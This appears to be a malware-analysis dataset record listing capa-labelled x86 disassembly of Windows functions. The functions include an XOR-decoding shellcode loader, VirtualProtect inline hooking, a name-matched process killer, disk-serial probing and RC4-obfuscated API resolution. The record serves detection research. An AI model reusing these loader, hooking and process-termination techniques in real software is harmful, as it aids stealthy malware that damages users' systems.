joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x402c00
pop dword [ebp - 0x50]
mov eax, 0x402c00
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x3cad2da5
add dword [ebp - 0x60], 0x11a517a6
mov dword [ebp - 0x5c], 0x1d74f5c0
add dword [ebp - 0x5c], 0x14be5685
mov dword [ebp - 0x58], 0xfeb01654
sub dword [ebp - 0x58], 0xb263d226
mov dword [ebp - 0x54], 0xbdc437b3
sub dword [ebp - 0x54], 0xbdc437b3
lea eax, [ebp - 0x60]
push eax
mov eax, 0xbfe95a01
add eax, 0x4057268b
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x86e8b12c
sub dword [ebp - 0x60], 0x127647d6
mov dword [ebp - 0x5c], 0x866d83c6
sub dword [ebp - 0x5c], 0x45012251
mov dword [ebp - 0x58], 0x8bdfc708
sub dword [ebp - 0x58], 0x28705a9c
mov dword [ebp - 0x54], 0x61b786f2
sub dword [ebp - 0x54], 0x61b786f2
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xa467439e
add eax, 0x5bd93d36
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x379a6
push 0
call eax
mov ecx, 0xdaf211d8
add ecx, 0x250e39d0
mov edi, eax
mov edx, 0x262dc9ae
sub edx, 0x25ecb9ae
add edx, dword [ebp - 0x50]
mov esi, 0x153c9db3
mov ebx, dword [edx]
mov dword [ebp - 0x18], 0xa21db6ff
xor ebx, esi
sub dword [ebp - 0x18], 0xc4d20971
mov dword [edi], ebx
sub dword [ebp - 8], ebx
add edi, 4
add edx, 0xedf3341
add edx, 0xf120ccc3
loop 0x402d17
add eax, 0x12173
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5ed9da42
sub ecx, 0x5e99da42
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10005940
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37c8
call fcn.10050520
mov eax, dword [0x1007300c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [ecx]
lea eax, [ebp - 0x108]
xor esi, esi
push str..PhysicalDrive_d
push eax
call fcn.10006210
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push esi
push 3
push esi
push 3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10005b63
push 0x2710
lea eax, [ebp - 0x37b8]
mov dword [ebp - 0x37bc], esi
push esi
push eax
mov dword [ebp - 0x37c0], esi
mov dword [ebp - 0x37c8], esi
mov dword [ebp - 0x37c4], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push esi
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0xc
lea eax, [ebp - 0x37c8]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10005b56
mov edx, dword [ebp - 0x37ac]
lea eax, [ebp - 0x8d8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100057b0
mov edx, dword [ebp - 0x37a8]
lea eax, [ebp - 0xcc0]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100057b0
mov edx, dword [ebp - 0x37a4]
lea eax, [ebp - 0x10a8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100057b0
mov edx, dword [ebp - 0x37a0]
lea eax, [ebp - 0x4f0]
push eax
push 1
lea ecx, [ebp - 0x37b8]
call fcn.100057b0
add esp, 0x20
cmp byte [0x10074b10], 0
jne 0x10005b19
movsx eax, byte [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
jne 0x10005a92
movsx eax, byte [ebp - 0x4dd]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
je 0x10005b19
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8d8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x1007470f], al
test al, al
jne 0x10005aa0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0xcc0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x10073f0f], al
test al, al
jne 0x10005ac0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4f0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x10074b0f], al
test al, al
jne 0x10005ae0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x10a8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x1007430f], al
test al, al
jne 0x10005b00
mov esi, 1
push 0x2710
lea eax, [ebp - 0x37b8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0
push 0
push 0x700a0
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x10005b5c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.1004f179
mov esp, ebp
pop ebp
ret
Function at 0x100067b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [0x1007300c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10006831
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [esi]
push 0
push dword [ebp - 0xd0]
mov dword [ebp - 0xcc], eax
push 4
push esi
call edi
xor eax, eax
nop word [eax + eax]
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10006800
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0xcc]
push 0
push dword [ebp - 0xd0]
mov dword [esi], eax
push 4
push esi
call edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1004f179
mov esp, ebp
pop ebp
ret 4

Function at 0x10006850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x1007300c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x10006897
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
xor eax, eax
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10006874
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004f179
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.1004f179
mov esp, ebp
pop ebp
ret 4

Function at 0x100068b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005095d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x1007300c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
cmp dword [0x1007351c], 0x10
mov eax, 0x10073508
cmovae eax, dword [0x10073508]
cmp byte [eax], 0
je 0x100069ca
mov ecx, dword [ebp + 8]
cmp byte [ecx], 0
je 0x100069ca
cmp dword [0x100731a4], 0x10
mov eax, 0x10073190
cmovae eax, dword [0x10073190]
cmp byte [eax], 0
je 0x100069ca
mov esi, 0x10078770
mov edx, ecx
sub esi, ecx
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
test al, al
jne 0x10006926
mov edx, 0x10075330
sub edx, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10006940
mov ecx, dword [0x10078ff8]
mov edx, 0x10073508
cmp dword [0x1007351c], 0x10
push 0x10078770
cmovae edx, dword [0x10073508]
mov eax, dword [ecx]
push edx
call dword [eax + 8]
test eax, eax
jne 0x100069ca
mov ecx, 0x98
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x100669f8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x28], al
and ecx, 0x800000ff
jns 0x1000699d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x14
jl 0x10006980
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], 0
mov eax, dword [0x1007a94c]
mov esi, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x4c]
mov ecx, dword [0x1007a94c]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [esi]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x100069e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005098d
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1007300c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae esi, dword [ebp + 8]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10006a20
sub esi, ecx
push esi
call fcn.1004faae
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
js 0x10006a4b
nop word [eax + eax]
xor byte [edx + edi], dl
lea ecx, [edx + edi]
inc edx
cmp edx, esi
jle 0x10006a40
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10006a81
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10006a77
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10006a77
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1004faa0
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x10007e90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1007300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
js 0x10007ec7
nop
lea eax, [ebp - 8]
push eax
push 0x40
push 4
lea eax, [ebx + esi]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, edi
jle 0x10007eb0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004f179
mov esp, ebp
pop ebp
ret 8

Function at 0x100081d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1007300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov ebx, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
mov dword [edi], ecx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
xor ecx, ebp
pop ebx
call fcn.1004f179
mov esp, ebp
pop ebp
ret 8
Function at 0x10008220
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1006d478
push 0x1004f409
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1007300c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov byte [esi], 0xe8
mov dword [esi + 1], eax
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x10008292
mov byte [esi + eax], 0x90
inc eax
jmp 0x10008284
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100082ac
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1004f179
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10012e50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1007300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, edx
mov dword [ebp - 0xc], eax
cmp ebx, 0x1000
jbe 0x10012ea7
test eax, eax
je 0x10012ea7
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10012ea6
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push dword [ebp - 0xc]
push ebx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1004f179
mov esp, ebp
pop ebp
ret

Function at 0x10012ec0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1007300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [0x10079d64]
mov ebx, edx
cmp edi, 0x1000
jbe 0x10012f09
test ebx, ebx
je 0x10012f09
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebx]
mov byte [edi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1004f179
mov esp, ebp
pop ebp
ret

Function at 0x100130b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1007300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
cmp ebx, 0x1000
jbe 0x1001310e
test edi, edi
je 0x1001310e
push esi
push edi
call fcn.1004faae
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004f179
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.1004f179
mov esp, ebp
pop ebp
ret 8

Function at 0x10013130
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1007300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
call fcn.1004faae
add esp, 4
mov ebx, eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ebx
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test edi, edi
jle 0x1001319e
sub ebx, esi
nop dword [eax + eax]
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10013182
mov al, byte [esi]
mov byte [ebx + esi], al
inc esi
sub edi, 1
jne 0x10013170
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004f179
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004f179
mov esp, ebp
pop ebp
ret 8
Function at 0x100131c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1007300c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call fcn.1004faae
add esp, 4
mov ebx, eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x30], ebx
push eax
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 8]
mov edi, ebx
lea eax, [esi + ecx]
mov dword [ebp - 0x2c], eax
nop dword [eax]
push 0x1c
lea eax, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
cmp edi, 0x1000
jbe 0x10013251
test ebx, ebx
je 0x10013251
test esi, esi
je 0x10013251
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
lea ecx, [ebx + esi]
add edi, esi
cmp ecx, dword [ebp - 0x2c]
jb 0x10013200
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1004f179
mov esp, ebp
pop ebp
ret 8

Function at 0x10013280
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1007300c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
cmp edi, 0x1000
jbe 0x100132be
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1004f179
mov esp, ebp
pop ebp
ret 4
Function at 0x100132d0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x1007300c]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10013382
nop dword [eax]
mov eax, esi
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10013346
test dl, dl
je 0x10013342
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10013346
add ecx, 2
add eax, 2
test dl, dl
jne 0x10013326
xor eax, eax
jmp 0x1001334b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10013372
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1001336e
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10013320
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1004f179
mov esp, ebp
pop ebp
ret

Function at 0x100133a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1006daa8
push 0x1004f409
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1007300c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x1001343a
cmp edi, 0x1000
jbe 0x1001343a
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x1001341f
mov byte [esi + eax], 0x90
inc eax
jmp 0x10013410
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1001343a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1004f179
mov esp, ebp
pop ebp
ret
Function at 0x10013460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1006dac8
push 0x1004f409
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1007300c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, ecx
mov dword [ebp - 4], 0
cmp edi, 0x1000
jbe 0x1001352e
mov eax, 0x100438e0
cmp eax, 0x1000
jbe 0x1001352e
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
push 0x14
call fcn.1004faae
add esp, 4
mov esi, eax
mov dword [ebp - 0x2c], esi
lea eax, [ebp - 0x24]
push eax
push 0x40
push 0x14
push esi
call ebx
mov dword [esi], 0x100438e0
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 3
jg 0x100134fd
mov al, byte [ebp + ecx - 0x2c]
mov byte [ebp + ecx - 0x34], al
inc ecx
jmp 0x100134ea
mov word [edi], 0x15ff
xor ecx, ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 3
ja 0x10013517
mov al, byte [ebp + ecx - 0x34]
mov byte [edi + ecx + 2], al
inc ecx
jmp 0x10013504
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x20]
push 5
push edi
call ebx
jmp 0x1001352e
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1004f179
mov esp, ebp
pop ebp
ret

Function at 0x10013560
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov edx, 0xa7
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x100678ec]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x2c], cl
and edx, 0x800000ff
jns 0x1001358d
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x1e
jl 0x10013570
lea eax, [ebp - 0x2c]
mov byte [ebp - 0xe], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x6c64746e
push eax
mov dword [ebp - 8], 0x6c642e6c
mov word [ebp - 4], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 4], 0
push 0x10044770
push 1
movq qword [ebp - 0xc], xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov word [ebp - 0x10], 0
mov byte [ebp - 0xe], 0
call eax
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x10013600
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1006dae8
push 0x1004f409
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1007300c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x1001369c
mov edi, dword [ebp + 0xc]
cmp edi, 0x1000
jbe 0x1001369c
lea eax, [ebp - 0x20]
push eax
push 0x40
push 6
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 6
jae 0x10013681
mov byte [esi + eax], 0x90
inc eax
jmp 0x10013672
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 6
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1001369c
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1004f179
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100136d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1006db08
push 0x1004f409
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1007300c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x1001376a
cmp edi, 0x1000
jbe 0x1001376a
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe8
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x1001374f
mov byte [esi + eax], 0x90
inc eax
jmp 0x10013740
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1001376a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1004f179
mov esp, ebp
pop ebp
ret